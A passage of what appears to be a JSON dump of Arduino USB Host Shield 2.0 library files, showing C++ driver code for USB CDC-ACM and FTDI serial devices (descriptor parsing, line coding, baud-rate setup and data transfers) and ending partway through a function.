CdcDataParser(this);\n\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &CdcControlParser);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &CdcDataParser);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n\n                if(bNumEP > 1)\n                        break;\n        } // for\n\n        if(bNumEP < 4)\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);\n\n        USBTRACE2(\"Conf:\", bConfNum);\n\n        // Set Configuration Value\n        rcode = pUsb->setConf(bAddress, 0, bConfNum);\n\n        if(rcode)\n                goto FailSetConfDescr;\n\n        // Set up features status\n        _enhanced_status = enhanced_features();\n        half_duplex(false);\n        autoflowRTS(false);\n        autoflowDSR(false);\n        autoflowXON(false);\n        wide(false); // Always false, because this is only available in custom mode.\n        rcode = pAsync->OnInit(this);\n\n        if(rcode)\n                goto FailOnInit;\n\n        USBTRACE(\"ACM configured\\r\\n\");\n\n        ready = true;\n\n        //bPollEnable = true;\n\n        //USBTRACE(\"Poll enabled\\r\\n\");\n        return 0;\n\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailGetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetConfDescr();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n        goto Fail;\n#endif\n\nFailOnInit:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"OnInit:\");\n#endif\n\n#ifdef DEBUG_USB_HOST\nFail:\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\nvoid ACM::EndpointXtract(uint8_t conf, uint8_t iface __attribute__((unused)), uint8_t alt __attribute__((unused)), uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *pep) {\n        //ErrorMessage<uint8_t > (PSTR(\"Conf.Val\"), conf);\n        //ErrorMessage<uint8_t > (PSTR(\"Iface Num\"), iface);\n        //ErrorMessage<uint8_t > (PSTR(\"Alt.Set\"), alt);\n\n        bConfNum = conf;\n\n        uint8_t index;\n\n        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80)\n                index = epInterruptInIndex;\n        else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK)\n                index = ((pep->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex;\n        else\n                return;\n\n        // Fill in the endpoint info structure\n        epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F);\n        epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize;\n        epInfo[index].bmSndToggle = 0;\n        epInfo[index].bmRcvToggle = 0;\n\n        bNumEP++;\n\n        PrintEndpointDescriptor(pep);\n}\n\nuint8_t ACM::Release() {\n        ready = false;\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n\n        bControlIface = 0;\n        bDataIface = 0;\n        bNumEP = 1;\n\n        bAddress = 0;\n        qNextPollTime = 0;\n        bPollEnable = false;\n        return 0;\n}\n\nuint8_t ACM::Poll() {\n        //uint8_t rcode = 0;\n        //if(!bPollEnable)\n        //        return 0;\n        //return rcode;\n        return 0;\n}\n\nuint8_t ACM::RcvData(uint16_t *bytes_rcvd, uint8_t *dataptr) {\n        uint8_t rv = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, bytes_rcvd, dataptr);\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t ACM::SndData(uint16_t nbytes, uint8_t *dataptr) {\n        uint8_t rv = pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, nbytes, dataptr);\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t ACM::SetCommFeature(uint16_t fid, uint8_t nbytes, uint8_t *dataptr) {\n        uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCOUT, CDC_SET_COMM_FEATURE, (fid & 0xff), (fid >> 8), bControlIface, nbytes, nbytes, dataptr, NULL));\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t ACM::GetCommFeature(uint16_t fid, uint8_t nbytes, uint8_t *dataptr) {\n        uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCIN, CDC_GET_COMM_FEATURE, (fid & 0xff), (fid >> 8), bControlIface, nbytes, nbytes, dataptr, NULL));\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t ACM::ClearCommFeature(uint16_t fid) {\n        uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCOUT, CDC_CLEAR_COMM_FEATURE, (fid & 0xff), (fid >> 8), bControlIface, 0, 0, NULL, NULL));\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t ACM::SetLineCoding(const LINE_CODING *dataptr) {\n        uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCOUT, CDC_SET_LINE_CODING, 0x00, 0x00, bControlIface, sizeof (LINE_CODING), sizeof (LINE_CODING), (uint8_t*)dataptr, NULL));\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t ACM::GetLineCoding(LINE_CODING *dataptr) {\n        uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCIN, CDC_GET_LINE_CODING, 0x00, 0x00, bControlIface, sizeof (LINE_CODING), sizeof (LINE_CODING), (uint8_t*)dataptr, NULL));\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t ACM::SetControlLineState(uint8_t state) {\n        uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCOUT, CDC_SET_CONTROL_LINE_STATE, state, 0, bControlIface, 0, 0, NULL, NULL));\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t ACM::SendBreak(uint16_t duration) {\n        uint8_t rv = ( pUsb->ctrlReq(bAddress, 0, bmREQ_CDCOUT, CDC_SEND_BREAK, (duration & 0xff), (duration >> 8), bControlIface, 0, 0, NULL, NULL));\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nvoid ACM::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr) {\n        Notify(PSTR(\"Endpoint descriptor:\"), 0x80);\n        Notify(PSTR(\"\\r\\nLength:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bLength, 0x80);\n        Notify(PSTR(\"\\r\\nType:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bDescriptorType, 0x80);\n        Notify(PSTR(\"\\r\\nAddress:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bEndpointAddress, 0x80);\n        Notify(PSTR(\"\\r\\nAttributes:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bmAttributes, 0x80);\n        Notify(PSTR(\"\\r\\nMaxPktSize:\\t\"), 0x80);\n        D_PrintHex<uint16_t > (ep_ptr->wMaxPacketSize, 0x80);\n        Notify(PSTR(\"\\r\\nPoll Intrv:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bInterval, 0x80);\n        Notify(PSTR(\"\\r\\n\"), 0x80);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcacm.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(__CDCACM_H__)\n#define __CDCACM_H__\n\n#include \"Usb.h\"\n\n#define bmREQ_CDCOUT                    USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE\n#define bmREQ_CDCIN                     USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE\n\n// CDC Subclass Constants\n#define CDC_SUBCLASS_DLCM               0x01    // Direct Line Control Model\n#define CDC_SUBCLASS_ACM                0x02    // Abstract Control Model\n#define CDC_SUBCLASS_TCM                0x03    // Telephone Control Model\n#define CDC_SUBCLASS_MCCM               0x04    // Multi Channel Control Model\n#define CDC_SUBCLASS_CAPI               0x05    // CAPI Control Model\n#define CDC_SUBCLASS_ETHERNET           0x06    // Ethernet Network Control Model\n#define CDC_SUBCLASS_ATM                0x07    // ATM Network Control Model\n#define CDC_SUBCLASS_WIRELESS_HANDSET   0x08    // Wireless Handset Control Model\n#define CDC_SUBCLASS_DEVICE_MANAGEMENT  0x09    // Device Management\n#define CDC_SUBCLASS_MOBILE_DIRECT_LINE 0x0A    // Mobile Direct Line Model\n#define CDC_SUBCLASS_OBEX               0x0B    // OBEX\n#define CDC_SUBCLASS_ETHERNET_EMU       0x0C    // Ethernet Emulation Model\n\n// Communication Interface Class Control Protocol Codes\n#define CDC_PROTOCOL_ITU_T_V_250        0x01    // AT Commands defined by ITU-T V.250\n#define CDC_PROTOCOL_PCCA_101           0x02    // AT Commands defined by PCCA-101\n#define CDC_PROTOCOL_PCCA_101_O         0x03    // AT Commands defined by PCCA-101 & Annex O\n#define CDC_PROTOCOL_GSM_7_07           0x04    // AT Commands defined by GSM 7.07\n#define CDC_PROTOCOL_3GPP_27_07         0x05    // AT Commands defined by 3GPP 27.007\n#define CDC_PROTOCOL_C_S0017_0          0x06    // AT Commands defined by TIA for CDMA\n#define CDC_PROTOCOL_USB_EEM            0x07    // Ethernet Emulation Model\n\n// CDC Commands defined by CDC 1.2\n#define CDC_SEND_ENCAPSULATED_COMMAND   0x00\n#define CDC_GET_ENCAPSULATED_RESPONSE   0x01\n\n// CDC Commands defined by PSTN 1.2\n#define CDC_SET_COMM_FEATURE            0x02\n#define CDC_GET_COMM_FEATURE            0x03\n#define CDC_CLEAR_COMM_FEATURE          0x04\n#define CDC_SET_AUX_LINE_STATE          0x10\n#define CDC_SET_HOOK_STATE              0x11\n#define CDC_PULSE_SETUP                 0x12\n#define CDC_SEND_PULSE                  0x13\n#define CDC_SET_PULSE_TIME              0x14\n#define CDC_RING_AUX_JACK               0x15\n#define CDC_SET_LINE_CODING             0x20\n#define CDC_GET_LINE_CODING             0x21\n#define CDC_SET_CONTROL_LINE_STATE      0x22\n#define CDC_SEND_BREAK                  0x23\n#define CDC_SET_RINGER_PARMS            0x30\n#define CDC_GET_RINGER_PARMS            0x31\n#define CDC_SET_OPERATION_PARMS         0x32\n#define CDC_GET_OPERATION_PARMS         0x33\n#define CDC_SET_LINE_PARMS              0x34\n#define CDC_GET_LINE_PARMS              0x35\n#define CDC_DIAL_DIGITS                 0x36\n\n//Class-Specific Notification Codes\n#define NETWORK_CONNECTION              0x00\n#define RESPONSE_AVAILABLE              0x01\n#define AUX_JACK_HOOK_STATE             0x08\n#define RING_DETECT                     0x09\n#define SERIAL_STATE                    0x20\n#define CALL_STATE_CHANGE               0x28\n#define LINE_STATE_CHANGE               0x29\n#define CONNECTION_SPEED_CHANGE         0x2a\n\n// CDC Functional Descriptor Structures\n\ntypedef struct {\n        uint8_t bFunctionLength;\n        uint8_t bDescriptorType;\n        uint8_t bDescriptorSubtype;\n        uint8_t bmCapabilities;\n        uint8_t bDataInterface;\n} CALL_MGMNT_FUNC_DESCR;\n\ntypedef struct {\n        uint8_t bFunctionLength;\n        uint8_t bDescriptorType;\n        uint8_t bDescriptorSubtype;\n        uint8_t bmCapabilities;\n} ACM_FUNC_DESCR, DLM_FUNC_DESCR, TEL_OPER_MODES_FUNC_DESCR,\nTEL_CALL_STATE_REP_CPBL_FUNC_DESCR;\n\ntypedef struct {\n        uint8_t bFunctionLength;\n        uint8_t bDescriptorType;\n        uint8_t bDescriptorSubtype;\n        uint8_t bRingerVolSteps;\n        uint8_t bNumRingerPatterns;\n} TEL_RINGER_FUNC_DESCR;\n\ntypedef struct {\n        uint32_t dwDTERate; // Data Terminal Rate in bits per second\n        uint8_t bCharFormat; // 0 - 1 stop bit, 1 - 1.5 stop bits, 2 - 2 stop bits\n        uint8_t bParityType; // 0 - None, 1 - Odd, 2 - Even, 3 - Mark, 4 - Space\n        uint8_t bDataBits; // Data bits (5, 6, 7, 8 or 16)\n} LINE_CODING;\n\ntypedef struct {\n        uint8_t bmRequestType; // 0xa1 for class-specific notifications\n        uint8_t bNotification;\n        uint16_t wValue;\n        uint16_t wIndex;\n        uint16_t wLength;\n        uint16_t bmState; //UART state bitmap for SERIAL_STATE, other notifications variable length\n} CLASS_NOTIFICATION;\n\nclass ACM;\n\nclass CDCAsyncOper {\npublic:\n\n        virtual uint8_t OnInit(ACM *pacm __attribute__((unused))) {\n                return 0;\n        };\n        //virtual void OnDataRcvd(ACM *pacm, uint8_t nbytes, uint8_t *dataptr) = 0;\n        //virtual void OnDisconnected(ACM *pacm) = 0;\n};\n\n/**\n * This structure is used to report the extended capabilities of the connected device.\n * It is also used to report the current status.\n * Regular CDC-ACM reports all as false.\n */\ntypedef struct {\n\n        union {\n                uint8_t tty;\n\n                struct {\n                        bool enhanced : 1; // Do we have the ability to set/clear any features?\n                        // Status and 8th bit in data stream.\n                        // Presence only indicates feature is available, but this isn't used for CDC-ACM.\n                        bool wide : 1;\n                        bool autoflow_RTS : 1; // Has autoflow on RTS/CTS\n                        bool autoflow_DSR : 1; // Has autoflow on DTR/DSR\n                        bool autoflow_XON : 1; // Has autoflow  XON/XOFF\n                        bool half_duplex : 1;  // Has half-duplex capability.\n                } __attribute__((packed));\n        };\n} tty_features;\n\n#define ACM_MAX_ENDPOINTS               4\n\nclass ACM : public USBDeviceConfig, public UsbConfigXtracter {\nprotected:\n        USB *pUsb;\n        CDCAsyncOper *pAsync;\n        uint8_t bAddress;\n        uint8_t bConfNum; // configuration number\n        uint8_t bControlIface; // Control interface value\n        uint8_t bDataIface; // Data interface value\n        uint8_t bNumEP; // total number of EP in the configuration\n        uint32_t qNextPollTime; // next poll time\n        volatile bool bPollEnable; // poll enable flag\n        volatile bool ready; //device ready indicator\n        tty_features _enhanced_status; // current status\n\n        void PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr);\n\npublic:\n        static const uint8_t epDataInIndex; // DataIn endpoint index\n        static const uint8_t epDataOutIndex; // DataOUT endpoint index\n        static const uint8_t epInterruptInIndex; // InterruptIN  endpoint index\n        EpInfo epInfo[ACM_MAX_ENDPOINTS];\n\n        ACM(USB *pusb, CDCAsyncOper *pasync);\n\n        uint8_t SetCommFeature(uint16_t fid, uint8_t nbytes, uint8_t *dataptr);\n        uint8_t GetCommFeature(uint16_t fid, uint8_t nbytes, uint8_t *dataptr);\n        uint8_t ClearCommFeature(uint16_t fid);\n        uint8_t SetLineCoding(const LINE_CODING *dataptr);\n        uint8_t GetLineCoding(LINE_CODING *dataptr);\n        uint8_t SetControlLineState(uint8_t state);\n        uint8_t SendBreak(uint16_t duration);\n        uint8_t GetNotif(uint16_t *bytes_rcvd, uint8_t *dataptr);\n\n        // Methods for receiving and sending data\n        uint8_t RcvData(uint16_t *nbytesptr, uint8_t *dataptr);\n        uint8_t SndData(uint16_t nbytes, uint8_t *dataptr);\n\n        // USBDeviceConfig implementation\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t Release();\n        uint8_t Poll();\n\n        bool available(void) {\n                return false;\n        };\n\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        virtual bool isReady() {\n                return ready;\n        };\n\n        virtual tty_features enhanced_status(void) {\n                return _enhanced_status;\n        };\n\n        virtual tty_features enhanced_features(void) {\n                tty_features rv;\n                rv.enhanced = false;\n                rv.autoflow_RTS = false;\n                rv.autoflow_DSR = false;\n                rv.autoflow_XON = false;\n                rv.half_duplex = false;\n                rv.wide = false;\n                return rv;\n        };\n\n        virtual void autoflowRTS(bool s __attribute__((unused))) {\n        };\n\n        virtual void autoflowDSR(bool s __attribute__((unused))) {\n        };\n\n        virtual void autoflowXON(bool s __attribute__((unused))) {\n        };\n\n        virtual void half_duplex(bool s __attribute__((unused))) {\n        };\n\n        virtual void wide(bool s __attribute__((unused))) {\n        };\n\n        // UsbConfigXtracter implementation\n        void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep);\n};\n\n#endif // __CDCACM_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcftdi.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#include \"cdcftdi.h\"\n\nconst uint8_t FTDI::epDataInIndex = 1;\nconst uint8_t FTDI::epDataOutIndex = 2;\nconst uint8_t FTDI::epInterruptInIndex = 3;\n\nFTDI::FTDI(USB *p, FTDIAsyncOper *pasync, uint16_t idProduct) :\npAsync(pasync),\npUsb(p),\nbAddress(0),\nbNumEP(1),\nwFTDIType(0),\nwIdProduct(idProduct) {\n        for(uint8_t i = 0; i < FTDI_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i==epDataInIndex) ? USB_NAK_NOWAIT: USB_NAK_MAX_POWER;\n        }\n        if(pUsb)\n                pUsb->RegisterDeviceClass(this);\n}\n\nuint8_t FTDI::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);\n\n        uint8_t buf[constBufSize];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n\n        uint8_t num_of_conf; // number of configurations\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n        USBTRACE(\"FTDI Init\\r\\n\");\n\n        if(bAddress) {\n        USBTRACE(\"FTDI CLASS IN USE??\\r\\n\");\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n                }\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p) {\n        USBTRACE(\"FTDI NO ADDRESS??\\r\\n\");\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n                }\n        if(!p->epinfo) {\n                USBTRACE(\"epinfo\\r\\n\");\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), buf);\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode) {\n                goto FailGetDevDescr;\n        }\n        if(udd->idVendor != FTDI_VID || udd->idProduct != wIdProduct)\n        {\n                USBTRACE(\"FTDI Init: Product not supported\\r\\n\");\n                USBTRACE2(\"Expected VID:\", FTDI_VID);\n                USBTRACE2(\"Found VID:\", udd->idVendor);\n\n                USBTRACE2(\"Expected PID:\", wIdProduct);\n                USBTRACE2(\"Found PID:\", udd->idProduct);\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n        }\n\n        // Save type of FTDI chip\n        wFTDIType = udd->bcdDevice;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from the device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                USBTRACE2(\"setAddr:\", rcode);\n                return rcode;\n        }\n\n        USBTRACE2(\"Addr:\", bAddress);\n\n        p->lowspeed = false;\n\n        p = addrPool.GetUsbDevicePtr(bAddress);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        num_of_conf = udd->bNumConfigurations;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        USBTRACE2(\"NC:\", num_of_conf);\n\n        for(uint8_t i = 0; i < num_of_conf; i++) {\n                ConfigDescParser < 0xFF, 0xFF, 0xFF, CP_MASK_COMPARE_ALL> confDescrParser(this);\n\n                // This interferes with serial output, and should be opt-in for debugging.\n                //HexDumper<USBReadParser, uint16_t, uint16_t> HexDump;\n                //rcode = pUsb->getConfDescr(bAddress, 0, i, &HexDump);\n                //if(rcode)\n                //        goto FailGetConfDescr;\n\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n\n                if(bNumEP > 1)\n                        break;\n        } // for\n\n        if(bNumEP < 2)\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\n        USBTRACE2(\"NumEP:\", bNumEP);\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);\n\n        USBTRACE2(\"Conf:\", bConfNum);\n\n        // Set Configuration Value\n        rcode = pUsb->setConf(bAddress, 0, bConfNum);\n\n        if(rcode)\n                goto FailSetConfDescr;\n\n        rcode = pAsync->OnInit(this);\n\n        if(rcode)\n                goto FailOnInit;\n\n        USBTRACE(\"FTDI configured\\r\\n\");\n\n        ready = true;\n        return 0;\n\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailGetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetConfDescr();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n        goto Fail;\n#endif\n\nFailOnInit:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"OnInit:\");\n\nFail:\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\nvoid FTDI::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *pep) {\n        ErrorMessage<uint8_t > (PSTR(\"Conf.Val\"), conf);\n        ErrorMessage<uint8_t > (PSTR(\"Iface Num\"), iface);\n        ErrorMessage<uint8_t > (PSTR(\"Alt.Set\"), alt);\n\n        bConfNum = conf;\n\n        uint8_t index;\n\n        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80)\n                index = epInterruptInIndex;\n        else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK)\n                index = ((pep->bEndpointAddress & 0x80) == 0x80) ? epDataInIndex : epDataOutIndex;\n        else\n                return;\n\n        // Fill in the endpoint info structure\n        epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F);\n        epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize;\n        epInfo[index].bmSndToggle = 0;\n        epInfo[index].bmRcvToggle = 0;\n\n        bNumEP++;\n\n        PrintEndpointDescriptor(pep);\n}\n\nuint8_t FTDI::Release() {\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n\n        bAddress = 0;\n        bNumEP = 1;\n        qNextPollTime = 0;\n        bPollEnable = false;\n        ready = false;\n        return pAsync->OnRelease(this);\n}\n\nuint8_t FTDI::Poll() {\n        uint8_t rcode = 0;\n\n        //if (!bPollEnable)\n        //      return 0;\n\n        //if (qNextPollTime <= (uint32_t)millis())\n        //{\n        //      USB_HOST_SERIAL.println(bAddress, HEX);\n\n        //      qNextPollTime = (uint32_t)millis() + 100;\n        //}\n        return rcode;\n}\n\nuint8_t FTDI::SetBaudRate(uint32_t baud) {\n        uint16_t baud_value, baud_index = 0;\n        uint32_t divisor3;\n        divisor3 = 48000000 / 2 / baud; // divisor shifted 3 bits to the left\n\n        if(wFTDIType == FT232AM) {\n                if((divisor3 & 0x7) == 7)\n                        divisor3++; // round x.7/8 up to x+1\n\n                baud_value = divisor3 >> 3;\n                divisor3 &= 0x7;\n\n                if(divisor3 == 1) baud_value |= 0xc000;\n                else // 0.125\n                        if(divisor3 >= 4) baud_value |= 0x4000;\n                else // 0.5\n                        if(divisor3 != 0) baud_value |= 0x8000; // 0.25\n                if(baud_value == 1) baud_value = 0; /* special case for maximum baud rate */\n        } else {\n                static const uint8_t divfrac [8] = {0, 3, 2, 0, 1, 1, 2, 3};\n                static const uint8_t divindex[8] = {0, 0, 0, 1, 0, 1, 1, 1};\n\n                baud_value = divisor3 >> 3;\n                baud_value |= divfrac [divisor3 & 0x7] << 14;\n                baud_index = divindex[divisor3 & 0x7];\n\n                /* Deal with special cases for highest baud rates. */\n                if(baud_value == 1) baud_value = 0;\n                else // 1.0\n                        if(baud_value == 0x4001) baud_value = 1; // 1.5\n        }\n        USBTRACE2(\"baud_value:\", baud_value);\n        USBTRACE2(\"baud_index:\", baud_index);\n        uint8_t rv = pUsb->ctrlReq(bAddress, 0, bmREQ_FTDI_OUT, FTDI_SIO_SET_BAUD_RATE, baud_value & 0xff, baud_value >> 8, baud_index, 0, 0, NULL, NULL);\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t FTDI::SetModemControl(uint16_t signal) {\n        uint8_t rv = pUsb->ctrlReq(bAddress, 0, bmREQ_FTDI_OUT, FTDI_SIO_MODEM_CTRL, signal & 0xff, signal >> 8, 0, 0, 0, NULL, NULL);\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t FTDI::SetFlowControl(uint8_t protocol, uint8_t xon, uint8_t xoff) {\n        uint8_t rv = pUsb->ctrlReq(bAddress, 0, bmREQ_FTDI_OUT, FTDI_SIO_SET_FLOW_CTRL, xon, xoff, protocol << 8, 0, 0, NULL, NULL);\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t FTDI::SetData(uint16_t databm) {\n        uint8_t rv = pUsb->ctrlReq(bAddress, 0, bmREQ_FTDI_OUT, FTDI_SIO_SET_DATA, databm & 0xff, databm >> 8, 0, 0, 0, NULL, NULL);\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t FTDI::RcvData(uint16_t *bytes_rcvd, uint8_t *dataptr) {\n        uint8_t rv = pUsb->inTransfer(bAddress, epInfo[epDataInIndex].epAddr, bytes_rcvd, dataptr);\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nuint8_t FTDI::SndData(uint16_t nbytes, uint8_t *dataptr) {\n        uint8_t rv = pUsb->outTransfer(bAddress, epInfo[epDataOutIndex].epAddr, nbytes, dataptr);\n        if(rv && rv != hrNAK) {\n                Release();\n        }\n        return rv;\n}\n\nvoid FTDI::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr) {\n        Notify(PSTR(\"Endpoint descriptor:\"), 0x80);\n        Notify(PSTR(\"\\r\\nLength:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bLength, 0x80);\n        Notify(PSTR(\"\\r\\nType:\\t\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bDescriptorType, 0x80);\n        Notify(PSTR(\"\\r\\nAddress:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bEndpointAddress, 0x80);\n        Notify(PSTR(\"\\r\\nAttributes:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bmAttributes, 0x80);\n        Notify(PSTR(\"\\r\\nMaxPktSize:\\t\"), 0x80);\n        D_PrintHex<uint16_t > (ep_ptr->wMaxPacketSize, 0x80);\n        Notify(PSTR(\"\\r\\nPoll Intrv:\\t\"), 0x80);\n        D_PrintHex<uint8_t > (ep_ptr->bInterval, 